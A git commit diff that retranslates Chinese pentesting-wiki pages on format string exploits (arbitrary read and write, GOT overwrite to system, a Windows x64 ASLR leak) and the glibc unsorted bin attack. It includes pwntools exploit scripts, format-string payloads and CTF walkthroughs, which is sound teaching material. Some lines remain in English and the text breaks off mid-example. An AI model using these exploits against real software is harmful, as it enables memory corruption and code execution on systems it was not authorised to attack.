Translated ['', 'src/network-services-pentesting/pentesting-web/README.m

This commit is contained in:
Translator 2025-08-29 12:01:05 +00:00
parent ef6c5decd5
commit 11175b1e8c
25 changed files with 2169 additions and 2155 deletions

View File

@ -5,13 +5,13 @@
## 基本信息
在 C 中,**`printf`** 是一个可用于**打印**字符串的函数。该函数期望的**第一个参数**是包含**格式化占位符的原始文本**。之后期望的**后续参数**是用来**替换**原始文本中**格式化占位符**的**值**。
在 C 中,**`printf`** 是一个可以用来**打印**字符串的函数。该函数期望的**第一个参数**是**包含格式说明符的原始文本**。随后传入的**参数**是用来替换原始文本中**格式说明符**的**值**。
其他易受攻击的函数有 **`sprintf()`** 和 **`fprintf()`**。
其他可能存在漏洞的函数包括 **`sprintf()`** 和 **`fprintf()`**。
当**攻击者控制的文本被用作该函数的第一个参数**时,就会出现该漏洞。攻击者可以构造**特殊输入滥用** **printf format** 字符串能力来读取并**写入任意地址的任何数据(可读/可写)**。通过这种方式能够**执行任意代码**。
当**攻击者提供的文本被用作该函数的第一个参数**时,就会出现该漏洞。攻击者可以构造**特殊输入,利用**printf 格式化**字符串的能力**来读取并**写入任意地址的任何数据(可读/可写)**。通过这种方式可以**执行任意代码**。
#### 格式化占位符:
#### 格式说明符:
```bash
%08x —> 8 hex bytes
%d —> Entire
@ -22,24 +22,24 @@
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**示例:**
**示例**
- 有漏洞的示例:
- 有漏洞的示例
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
- 正常 用法:
- 常规用法:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
- 参数缺失时:
- 在缺少参数时:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
- fprintf 易受攻击:
- fprintf 有漏洞:
```c
#include <stdio.h>
@ -54,7 +54,7 @@ return 0;
```
### **访问指针**
格式 **`%<n>$x`**,其中 `n` 是一个数字,允许指示 printf 选择第 n 个参数(来自 stack因此,如果你想使用 printf 读取 stack 上的第 4 个参数,你可以这样做:
格式 **`%<n>$x`**,其中 `n` 是一个数字,允许指示 printf 选择第 n 个参数(来自 stack所以如果你想使用 printf 读取 stack 上的第 4 个 param你可以这样做:
```c
printf("%x %x %x %x")
```
@ -66,14 +66,14 @@ printf("%4$x")
```
并直接读取第四个。
注意,攻击者控制了 `printf` **参数,这基本意味着**当 `printf` 被调用时,他的输入会位于栈上,这也意味着他可以在栈中写入特定的内存地址。
Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
> [!CAUTION]
> 控制该输入的攻击者将能够 **在栈中添加任意地址并让 `printf` 访问这些地址**。下一节将解释如何利用该行为。
> 控制该输入的攻击者将能够 **在 stack 中添加任意 address 并使 `printf` 访问它们**。下一节将说明如何利用这种行为。
## **Arbitrary Read**
可以使用格式化符 **`%n$s`** 使 **`printf`** 获取位于第 **n** 个位置的**地址**,随后将该地址指向的内容**按字符串方式打印**(打印直到遇到 0x00 为止)。因此,如果二进制的基地址为 **`0x8048000`**,并且我们知道用户输入在栈上的第 4 个位置开始,就可以打印二进制的起始内容
可以使用格式化符 **`%n$s`** **`printf`** 获取位于第 **n** 个位置的 **address**,然后按照该地址读取并 **将其作为字符串打印**(打印直到遇到 0x00。因此如果二进制的基地址是 **`0x8048000`**,且我们知道用户输入在 stack 的第 4 个位置开始,就可以打印二进制起始处
```python
from pwn import *
@ -87,15 +87,15 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> 注意:你不能将地址 0x8048000 放在输入的开头,因为字符串将在该地址末尾被 0x00 截断。
> 注意:你不能将地址 0x8048000 放在输入的开头,因为该地址末尾会有 0x00 导致字符串被截断。
### 查找偏移
要找到到你输入的偏移量,你可以发送 4 或 8 字节(`0x41414141`后跟 **`%1$x`**,并**增加**该值直到检索`A's`
要找到输入的偏移量,你可以发送 4 或 8 字节(`0x41414141`然后跟上 **`%1$x`**,并逐步 **增加** 值直到看`A's`
<details>
<summary>Brute Force printf offset</summary>
<summary>暴力穷举 printf 偏移</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@ -126,27 +126,27 @@ p.close()
```
</details>
### 有用性
### 有何用途
Arbitrary reads 可以用于:
**Arbitrary reads** 可以用于:
- **Dump** the **binary** from memory
- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
- **Dump** the **binary** 从内存中
- **Access specific parts of memory where sensitive** **info** 被存储(例如 canaries、encryption keys 或 custom passwords如这个 [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)
## **Arbitrary Write**
格式化**`%<num>$n`** **写入** **写入的字节数****栈中由 <num> 参数指示的地址**。如果攻击者能够通过 printf 写入任意数量的字符,就可以让 **`%<num>$n`** 在任意地址写入任意数值。
格式化**`%<num>$n`** 会把已写入的字节数写入栈中第 <num> 个参数所指向的地址。如果攻击者能够通过 printf 写入任意数量的字符,就能够使 **`%<num>$n`** 在任意地址写入任意数值。
幸运的是,要写入数字 9999并不需要在输入中添加 9999 个 "A"。可以使用格式化器 **`%.<num-write>%<num>$n`** 将数字 **`<num-write>`** 写入 **由 `num` 位置指向的地址**
幸运的是,要写入数字 9999并不需要在输入中添加 9999 个 "A";可以使用格式化符 **`%.<num-write>%<num>$n`** 将数字 **`<num-write>`** 写入由 `<num>` 位置指向的地址。
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
不过,注意通常为了写入像 `0x08049724`(一次写入是一个很大的数)这样的地址,**使用的是 `$hn`** 而不是 `$n`。这允许**只写入 2 Bytes**。因此该操作需要执行两次,一次写入地址的高 2B另一次写入低 2B。
但是,注意通常在写入像 `0x08049724`(一次写入是个非常大的数)这样的地址时,会使用 **`$hn`** 而不是 `$n`。这允许**只写入 2 Bytes**。因此该操作需要进行两次,一次写入地址的高 2B另一次写入低 2B。
因此,这个漏洞允许**在任意地址写入任意内容 (arbitrary write)。**
因此,漏洞允许**在任意地址写入任意内容 (arbitrary write)。**
在这个示例中,目标是要**覆盖**GOT 表中将被后续调用的某个**函数**的**地址**。虽然也可以利用其它 arbitrary write 到 exec 的技术:
在这个例子中,目标是要**覆盖**将在之后被调用的 **GOT** 表中某个**函数**的**地址**。当然这也可以滥用其他将 arbitrary write 转为执行的技术:
{{#ref}}
@ -154,17 +154,17 @@ AAAA.%500\$08x —> Param at offset 500
{{#endref}}
我们将**覆盖**一个**从用户接收参数**的**函数**,并将其指向 **`system`** **函数**。\
前所述,为了写入地址,通常需要两步:你**先写入地址的 2 Bytes**,然后再写入剩下的 2 Bytes。为此使用 **`$hn`**。
上所述,写入地址通常需要两步:你**先写入地址的 2Bytes**,然后再写入另外的 2Bytes。为此使用 **`$hn`**。
- **HOB** 指地址的高 2 bytes
- **LOB** 指地址的低 2 bytes
- **HOB** 指地址的高 2 字节
- **LOB** 指地址的低 2 字节
然后,由于 format string 的工作方式,你需要**先写入 [HOB, LOB] 中较小的那个**,再写入另一个。
然后,因为 format string 的工作方式,你需要**先写入较小的** \[HOB, LOB]然后再写入另一个。
If HOB < LOB\
如果 HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
If HOB > LOB\
如果 HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
@ -173,14 +173,14 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
```
### Pwntools 模板
你可以在以下位置找到用于为此类漏洞准备利用的**模板**
你可以在以下位置找到一个用于为此类漏洞准备 exploit 的 **template**
{{#ref}}
format-strings-template.md
{{#endref}}
或者这个来自 [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) 的基本示例:
或者来自 [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) 的这个基本示例:
```python
from pwn import *
@ -201,24 +201,23 @@ p.interactive()
```
## Format Strings to BOF
可以滥用 format string vulnerability 的写操作,将数据写入 **write in addresses of the stack**,并利用 **buffer overflow** 类型的漏洞。
可以滥用 format string 漏洞的写入操作,**向 stack 的地址写入**,并利用 **buffer overflow** 类型的漏洞。
## Windows x64: Format-string leak to bypass ASLR (no varargs)
在 Windows x64 上,前四个整型/指针参数通过寄存器传递RCX, RDX, R8, R9。在许多有漏洞的调用点中,攻击者控制的字符串被用作 format argument但没有提供 variadic arguments例如
在 Windows x64 上,前四个整数/指针参数通过寄存器传递RCX、RDX、R8、R9。在许多有漏洞的调用点,攻击者控制的字符串被用作 format argument但没有提供 variadic arguments例如
```c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
```
因为没有传递 varargs任何像 "%p", "%x", "%s" 这样的转换都会导致 CRT 从相应的寄存器读取下一个 variadic argument。With the Microsoft x64 calling convention the first such read for "%p" comes from R9。调用点 R9 中的任何瞬时值都会被打印出来。实际上,这通常会 leak 一个稳定的 in-module pointer例如一个之前由周围代码放入 R9 的 local/global 对象的指针,或一个 callee-saved 值),可用于恢复 module base 并绕过 ASLR。
由于没有传入 varargs任何像 "%p", "%x", "%s" 这样的转换都会导致 CRT 从相应的寄存器读取下一个可变参数。根据 Microsoft x64 calling convention对 "%p" 的第一次读取来自 R9。call-site 上 R9 中的任何瞬态值都会被打印出来。实际上,这常常会 leak 一个模块内的稳定指针(例如,先前被周围代码放入 R9 的局部/全局对象的指针或一个 callee-saved 值),该指针可用于恢复 module base 并绕过 ASLR。
Practical workflow:
- 在 attacker-controlled string 的最开始注入像 "%p " 这样无害的 format这样第一次转换会在任何过滤之前执行。
- 捕获 leaked pointer确定该对象在 module 内的静态偏移(通过 reversing使用符号或本地副本并将 image base 恢复为 `leak - known_offset`
- 重用该 base 来计算远程 ROP gadgets 和 IAT entries 的绝对地址。
- 在攻击者可控字符串的最开始注入一个无害的格式,如 "%p ",以便第一次转换在任何过滤之前执行。
- 捕获被 leak 的指针,确定该对象在模块内的静态偏移(通过带符号或本地副本逆向一次),并通过 `leak - known_offset` 恢复 image base
- 复用该 base 计算远程 ROP gadgets 和 IAT 条目的绝对地址。
Example (abbreviated python):
```python
@ -232,12 +231,12 @@ leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
```
注意事项:
- 要减去的精确偏移量在本地逆向时确定一次,然后重用(相同的二进制/版本)
- 如果 "%p" 在第一次尝试时没有打印出有效的指针,尝试其他格式说明符 ("%llx", "%s") 或多次转换 ("%p %p %p") 来采样其他参数寄存器/stack
- 该模式特定于 Windows x64 calling convention 和 printf-family 的实现——当 format string 请求时,会从寄存器获取不存在的 varargs。
Notes:
- 在本地逆向时只需确定要减去的精确偏移一次,然后在相同的二进制/版本下重用
- 如果 "%p" 在第一次尝试时没有打印出有效的指针,尝试其他说明符 ("%llx", "%s") 或多个转换 ("%p %p %p") 来采样其他参数寄存器/栈
- 这种模式特定于 Windows x64 的 calling convention 和 printf-family 的实现:当格式字符串请求时,它们会从寄存器中获取不存在的 varargs。
该技术对于在启用了 ASLR 且没有明显 memory disclosure primitives 的 Windows 服务上引导 ROP 非常有用。
该技术对于在使用 ASLR 且没有明显内存泄露原语的 Windows 服务上引导 ROP 非常有用。
## 其他示例与参考
@ -245,13 +244,13 @@ print(hex(leaked), hex(base))
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bitno relrono canarynxno pie基本使用 format strings 从 stack leak flag不需要改变 execution flow
- 32 bit、no relro、no canary、nx、no pie使用 format strings 基本方法从栈中 leak flag无需改变执行流程
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bitrelrono canarynxno pie使用 format string 覆盖地址 `fflush` 为 win 函数 (ret2win)
- 32 bit、relro、no canary、nx、no pie使用 format string 将 `fflush` 的地址覆盖为 win 函数ret2win
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bitrelrono canarynxno pie使用 format string 将一个地址写入 main 内的 `.fini_array`(这样流程会再回到 main 一次),并在 GOT 表中将指向 `strlen` 的地址写为 `system`。当流程返回 main 时,执行 `strlen`(带用户输入),但因指向 `system`,将执行所传的命令。
- 32 bit、relro、no canary、nx、no pie使用 format string 在 `.fini_array` 中把一个地址写入 main使流程再循环一次并在 GOT 表中把指向 `strlen` 的地址写为 `system`。当流程返回 main 时,`strlen` 以用户输入运行并指向 `system`,将执行传入的命令。
## References
## 参考资料
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)

View File

@ -4,68 +4,68 @@
## 基本信息
有关 unsorted bin 是什么的更多信息请查看此页面:
有关什么是 unsorted bin 的更多信息请查看此页面:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
Unsorted 列表能够在 chunk 的 `bk` 地址写入 `unsorted_chunks (av)` 的地址。因此,如果攻击者能够**修改位于 unsorted bin 中的 chunk 的 `bk` 指针地址**,他就可能**把该地址写入任意地址**,这对于泄露 Glibc 地址或绕过某些防护很有用
Unsorted lists 能够在 chunk 的 `bk` 字段中写入 `unsorted_chunks (av)` 的地址。因此,如果攻击者能够**修改位于 unsorted bin 内某个 chunk 的 `bk` 指针地址**,就可能**在任意地址写入该地址**,这对于 leak Glibc 地址或绕过某些防护很有帮助
所以,基本上,这个攻击允许在任意地址**设置一个很大的数值**。这个大数值是一个地址,可以是堆地址或 Glibc 地址。传统的目标是 **`global_max_fast`**,以便允许创建更大尺寸的 fast bin并从 unsorted bin 攻击转为 fast bin 攻击)。
所以,基本上,这个攻击允许在任意地址**设置一个很大的数值**。这个大数值是一个地址,可能是 heap 地址或 Glibc 地址。传统目标是 **`global_max_fast`**,用于允许创建更大尺寸的 fast bin并从 unsorted bin attack 转为 fast bin attack)。
- 现代glibc ≥ 2.39`global_max_fast` 变成了一个 8 位全局变量。盲目通过 unsorted-bin 写入指针到此处会破坏相邻的 libc 数据,并且不再可靠地提升 fastbin 限制。在针对 glibc 2.39+ 时,优先选择其他目标或其他原语。见下文“现代限制”并考虑在得到稳定原语后结合其他技术如 [large bin attack](large-bin-attack.md) 或 [fast bin attack](fast-bin-attack.md)。
- 现代说明 (glibc ≥ 2.39)`global_max_fast` 已变为 8 位全局变量。通过 unsorted-bin 写入指针到该位置将会破坏相邻的 libc 数据,并且不再可靠地提升 fastbin 限制。在对抗 glibc 2.39+ 时优先考虑其他目标或其他原语。见下文“Modern constraints”并在得到稳定原语后考虑结合其他技术如 [large bin attack](large-bin-attack.md) 或 [fast bin attack](fast-bin-attack.md)。
> [!TIP]
> T> aking 查看由 [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) 提供的示例,并把 chunk 大小从 0x400 和 0x500 改为 0x4000 和 0x5000以避免 Tcache可以看到 **现在** 会触发错误 **`malloc(): unsorted double linked list corrupted`**。
> T> 看一下 [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) 提供的示例,并将 chunk sizes 从 0x400/0x500 改为 0x4000/0x5000以避免 Tcache可以看到**现在**会触发错误 **`malloc(): unsorted double linked list corrupted`**。
>
> 因此,这种 unsorted bin 攻击现在(以及由于其他检查)也要求能够修复双链表,从而绕过检查 `victim->bk->fd == victim``victim->fd == av (arena)`,这意味着我们想写入的地址的 `fd` 位置必须包含伪造 chunk 的地址,且该伪造 chunk 的 `fd` 指向 arena。
> 因此,现在这个 unsorted bin 攻击(以及其他检查)也要求能够修复双向链表以绕过 `victim->bk->fd == victim` 或者 `victim->fd == av (arena)` 的检查,这意味着我们想写入的地址在其 `fd` 位置必须保存伪造 chunk 的地址,并且该伪造 chunk 的 `fd` 指向 arena。
> [!CAUTION]
> 注意此攻击会破坏 unsorted bin因此也会影响 small 和 large。所以我们现在**只能使用来自 fast bin 的分配**(更复杂的程序可能做其他分配并崩溃),并且要触发利用我们必须**分配相同大小否则程序会崩溃。**
> 注意这个攻击会破坏 unsorted bin因此也会影响 small 和 large。因此我们现在只能**使用来自 fast bin 的分配**(更复杂的程序可能会执行其他分配并崩溃),并且为了触发这一点我们必须**分配相同大小否则程序会崩溃。**
>
> 注意覆盖 **`global_max_fast`** 在这种情况下可能有帮助,假设 fast bin 能够处理所有其他分配直到利用完成。
> 注意覆盖 **`global_max_fast`** 在这种情况下可能有帮助,前提是信任 fast bin 能够处理所有其他分配直到 exploit 完成。
来自 [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) 的代码解释得很好,尽管如果你修改 mallocs 以分配足够大的内存从而不进入 Tcache你可以看到前面提到的错误出现阻止此技术:**`malloc(): unsorted double linked list corrupted`**
来自 [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) 的代码对此解释得很好,不过如果你修改 mallocs 以分配足够大的内存从而不进入 Tcache你会看到前文提到的错误阻止了该技术:**`malloc(): unsorted double linked list corrupted`**
### 写入到底如何发生
### 写入是如何实际发生的
- unsorted-bin 写入在 `free` 时触发,当被释放的 chunk 被插入到 unsorted 列表头部。
- unsorted-bin 写入在 `free` 时触发,当被释放的 chunk 被插入到 unsorted list 的头部。
- 在插入过程中,分配器执行 `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;`
- 如果你能在调用 `free(victim)` 之前将 `victim->bk` 设置为 `(mchunkptr)(TARGET - 0x10)`,最后一句语句就会执行写入:`*(TARGET) = victim`
- 随后,当分配器处理 unsorted bin 时,完整性检查会验证(在其他检查之外)`bck->fd == victim``victim->fd == unsorted_chunks(av)`,否则会中止并报 `malloc(): unsorted double linked list corrupted`。因为插入已经将 `victim` 写入 `bck->fd`(我们控制的 `TARGET`),如果写入成功,这些检查就可以被满足。
- 如果你能在调用 `free(victim)` 之前将 `victim->bk` 设置为 `(mchunkptr)(TARGET - 0x10)`,最后的语句将执行写入:`*(TARGET) = victim`
- 之后,当分配器处理 unsorted bin 时,完整性检查会验证(除其它检查外)`bck->fd == victim``victim->fd == unsorted_chunks(av)`,否则会中止并报 `malloc(): unsorted double linked list corrupted`。因为插入时已经把 `victim` 写入了 `bck->fd`(我们的 `TARGET`),如果写入成功这些检查可以被满足。
## 现代限制glibc ≥ 2.33
在当前 glibc 上可靠地使用 unsortedbin 写入:
为了在当前 glibc 上可靠地使用 unsortedbin 写入:
- Tcache 干扰:对于落入 tcache 的大小free 会被向 tcache 而不会触及 unsorted bin。要么
- 使用 > MAX_TCACHE_SIZE在 64 位默认为 ≥ 0x410的大小请求或者
- 填满相应的 tcache bin7 个条目),以使额外的 free 到达全局 bins或者
- 如果能控制环境,禁用 tcache例如,设置 GLIBC_TUNABLES glibc.malloc.tcache_count=0
- 对 unsorted 列表的完整性检查:在下一次检查 unsorted bin 的分配路径上glibc 会做(简化)检查
- `bck->fd == victim``victim->fd == unsorted_chunks(av)`;否则会中止并报 `malloc(): unsorted double linked list corrupted`
- 这意味着你目标的地址必须能容忍两次写入:第一次在 free 时`*(TARGET) = victim`;稍后当 chunk 被移除时为 `*(TARGET) = unsorted_chunks(av)`(分配器会把 `bck->fd` 重写回 bin 头)。选择那些只需要强制写入一个大的非零值就有用的目标。
- 现代利用中典型稳定目标
- 应用或全局状态将“较大”值视为标志/限制
- 间接原语(例如,为随后的一次 [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) 做设置,或为后续的 writewhatwhere 做准备)。
- 避免在新版 glibc 上使用 `__malloc_hook`/`__free_hook`:它们在 2.34 中被移除。对于 ≥ 2.39 避免使用 `global_max_fast`(见下一注)。
- 关于近期 glibc 的 `global_max_fast`
- 在 glibc 2.39+ 上,`global_max_fast` 是一个 8 位全局变量。把堆指针写入它(以扩大 fastbins的经典技巧不再能可靠工作并且很可能破坏相邻的分配器状态。优先考虑其他策略。
- Tcache 干扰:对于落入 tcache 的大小free 会被向 tcache 而不会触及 unsorted bin。要么
- 使用大于 MAX_TCACHE_SIZE 的请求(在 64bit 上默认 ≥ 0x410要么
- 填满对应的 tcache bin7 个条目),使更多的 free 到达全局 bins或者
- 如果环境可控,禁用 tcache例如 GLIBC_TUNABLES glibc.malloc.tcache_count=0
- 对 unsorted list 的完整性检查:在下一次检查 unsorted bin 的分配路径上glibc 会做检查(简化):
- `bck->fd == victim``victim->fd == unsorted_chunks(av)`;否则会 `malloc(): unsorted double linked list corrupted` 终止
- 这意味着你目标的地址必须能容忍两次写入:第一次在 free 时写入 `*(TARGET) = victim`;随后在 chunk 被移除时,分配器会再次将 `*(TARGET) = unsorted_chunks(av)`(分配器会把 `bck->fd` 重写回 bin head。选择那些单纯强制一个非零大值就有用的目标。
- 现代利用中典型稳定目标
- 应用或全局状态中将“较大”值视作标志/限制的变量
- 间接原语(例如,为随后的 [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) 做设置,或为之后的 write-what-where 做准备)。
- 在新 glibc 上避免 `__malloc_hook`/`__free_hook`:它们在 2.34 中被移除。对于 ≥ 2.39 避免 `global_max_fast`(见上注)。
- 关于近期 glibc `global_max_fast`
- 在 glibc 2.39+ 中,`global_max_fast` 是一个 8 位全局变量。将堆指针写入其中以增大 fastbins 的经典技巧不再干净可行,并且可能会破坏相邻的分配器状态。优先使用其他策略。
## 最小利用流程(现代 glibc
## 最小利用流程(modern glibc
目标:使用 unsortedbin 插入原语,实现一次将堆指针写入任意地址的单次任意写,且不导致崩溃。
目标:使用 unsortedbin 插入原语,实现一次将 heap 指针写入任意地址的任意写,且不崩溃。
- 布局/修整
- 分配 A、B、C大小足够大以绕过 tcache例如 0x5000。C 防止与 top chunk 合并。
-
- 从 A 溢出到 B 的 chunk header`B->bk = (mchunkptr)(TARGET - 0x10)` 设置好
- 布局/预处理
- 分配 A、B、C大小足够大以绕过 tcache例如 0x5000。C 用以防止与 top chunk 合并。
-
- 从 A 溢出到 B 的 chunk header设置 `B->bk = (mchunkptr)(TARGET - 0x10)`
- 触发
- `free(B)`。在插入时分配器执行 `bck->fd = B`,因此 `*(TARGET) = B`
- `free(B)`。在插入时分配器执行 `bck->fd = B`,因此 `*(TARGET) = B`
- 后续
- 如果你计划继续分配并且程序会使用 unsorted bin预期分配器随后会把 `*(TARGET) = unsorted_chunks(av)`。这两个值通常都很大,可能足以改变那些只检查“是否为大值”的目标的大小/限制语义。
- 如果你打算继续分配且程序会使用 unsorted bin预期分配器稍后会把 `*(TARGET) = unsorted_chunks(av)`。这两个值通常都很大,在仅对“大”值做检查的目标中可能足以改变大小/限制语义。
Pseudocode skeleton:
```c
@ -80,31 +80,34 @@ void *C = malloc(0x5000); // guard
free(B); // triggers *(TARGET) = B (unsorted-bin insertion write)
```
> [!NOTE]
> • 如果不能通过 size 绕过 tcache请在释放被破坏的 chunk 之前先把所选 size 的 tcache bin 填满(释放 7 次),这样此次 free 会进入 unsorted。
> • 如果程序在下次分配时由于 unsorted-bin 校验直接 abort请重新检查在第一次写入后 `victim->fd` 是否仍等于 bin head以及你的 `TARGET` 在第一次写入后是否保存了精确的 `victim` 指针。
> • 如果你无法通过大小绕过 tcache在释放被破坏的 chunk 之前,先把所选大小的 tcache bin 填满7 次 free这样 free 会进入 unsorted。
> • 如果程序因为 unsorted-bin 的检查在下一次分配时立即 abort请重新确认 `victim->fd` 仍然等于 bin head并且在第一次写入后你的 `TARGET` 保存的是精确的 `victim` 指针。
## Unsorted Bin Infoleak Attack
实际上是一个非常基础的概念。unsorted bin 中的 chunks 会包含指针。unsorted bin 中的第一个 chunk 的 **`fd`** 和 **`bk`** 链接实际上会指向 main arena (Glibc) 的某一部分。\
因此,如果你能把一个 chunk 放入 unsorted bin 并读取它use after free或者再次分配它且在重新分配时至少不覆盖其中一个指针以便随后读取那么你就可以得到一个 **Glibc info leak**
其实是一个非常基本的概念。unsorted bin 中的 chunks 会包含指针。unsorted bin 中的第一个 chunk 的 **`fd`** 和 **`bk`** 链接实际上会指向 main arena (Glibc) 的一部分。
因此,如果你能 **put a chunk inside a unsorted bin and read it**use after free或者 **allocate it again without overwriting at least 1 of the pointers** 然后 **read** 它,你就能获得一个 **Glibc info leak**
一个类似的[**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) 是滥用 4 个 chunk 的结构A、B、C 和 D —— D 仅用于防止与 top chunk 合并),通过在 B 中发生 1 字节的 null byte overflow 让 C 表示 B 未被使用。同时在 B 中修改 `prev_size` 数据,使得 size 不再是 B 的大小而是 A+B。\
然后释放 C使其与 A+B 合并(但 B 仍在使用)。之后分配一个大小为 A 的新 chunk然后把泄露出的 libc 地址写入 B从 B 中泄露出来。
A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html),是滥用一个 4 个 chunks 的结构A、B、C 和 D — D 只是用来防止与 top chunk 合并),通过在 B 中的 1 字节 null overflow 使 C 显示 B 为未使用。此外,在 B 中修改了 `prev_size` 数据,使得其大小不再是 B 的大小,而是 A+B。
然后释放了 C并与 A+B 合并(但 B 仍然被使用)。分配了一个大小为 A 的新 chunk随后把 libc 地址写入到 B从 B 中 leak 出来。
## References & Other examples
## 参考与其他示例
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
目标是用大于 4869 的值覆盖一个全局变量,从而可以拿到 flag程序未启用 PIE
可以生成任意大小的 chunks并存在目标大小的 heap overflow。
攻击从创建 3 个 chunks 开始chunk0 用于滥用 overflowchunk1 将被 overflowchunk2 用于防止 top chunk 合并之前的 chunks。
之后释放 chunk1 并 overflow chunk0使得 chunk1 的 `bk` 指向:`bk = magic - 0x10`。然后分配 chunk3与 chunk1 大小相同),这会触发 unsorted bin attack 并修改全局变量的值,从而能拿到 flag。
目标是用一个大于 4869 的值覆盖一个全局变量,从而获取 flag并且 PIE 未启用。
- 可以生成任意大小的 chunks并且存在一个具有所需大小的 heap overflow。
- 攻击开始时创建 3 个 chunkschunk0 用于滥用 overflowchunk1 将被 overflowchunk2 用来阻止 top chunk 合并前面的 chunks。
- 然后释放 chunk1 并对 chunk0 进行 overflow使得 chunk1 的 `bk` 指向:`bk = magic - 0x10`
- 随后,以与 chunk1 相同的大小分配 chunk3这将触发 unsorted bin attack 并修改该全局变量的值,从而有可能拿到 flag。
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
merge 函数存在漏洞:如果传入的两个索引相同,它会在该块上做 realloc 然后 free但返回一个指向已释放区域的指针该指针可被利用。
因此创建了 2 个 chunks**chunk0**(将与自身合并)和 chunk1防止与 top chunk 合并)。然后对 chunk0 调用 merge 两次,导致 use after free。接着用 index 2 调用 `view`(即 use-after-free 的索引),这会泄露 libc 地址。由于二进制只能 malloc 大于 `global_max_fast` 的大小,因此不会使用 fastbin转而使用 unsorted bin attack 去覆盖全局变量 `global_max_fast`
然后可以对 index 2use-after-free 指针)调用 edit`bk` 指针改写为 `p64(global_max_fast-0x10)`。创建新 chunk 时会使用之前被污染的 free 地址0x20这会 **触发 unsorted bin attack** 覆盖 `global_max_fast` 为一个很大的值,从而允许创建 fast bin 的 chunks。
接下来执行 **fast bin attack**
首先发现可以在 `__free_hook` 位置使用大小为 0x200 的 fast chunk
<pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
merge function 存在漏洞,因为如果传入的两个索引相同,它会对该索引执行 realloc 然后 free但返回的却是可以继续使用的指向已 free 区域的指针。
因此,**2 chunks are created****chunk0** 将与自身合并chunk1 用于防止与 top chunk 合并。然后对 **merge function** 使用 chunk0 两次,这会导致 use after free。
随后,对索引 2 调用 **`view`** 函数(即 use after free 的 chunk 的索引),这将 **leak a libc address**
由于该二进制有保护,只允许 malloc 大于 **`global_max_fast`** 的大小,所以不会使用 fastbin因此采用 unsorted bin attack 来覆盖全局变量 `global_max_fast`
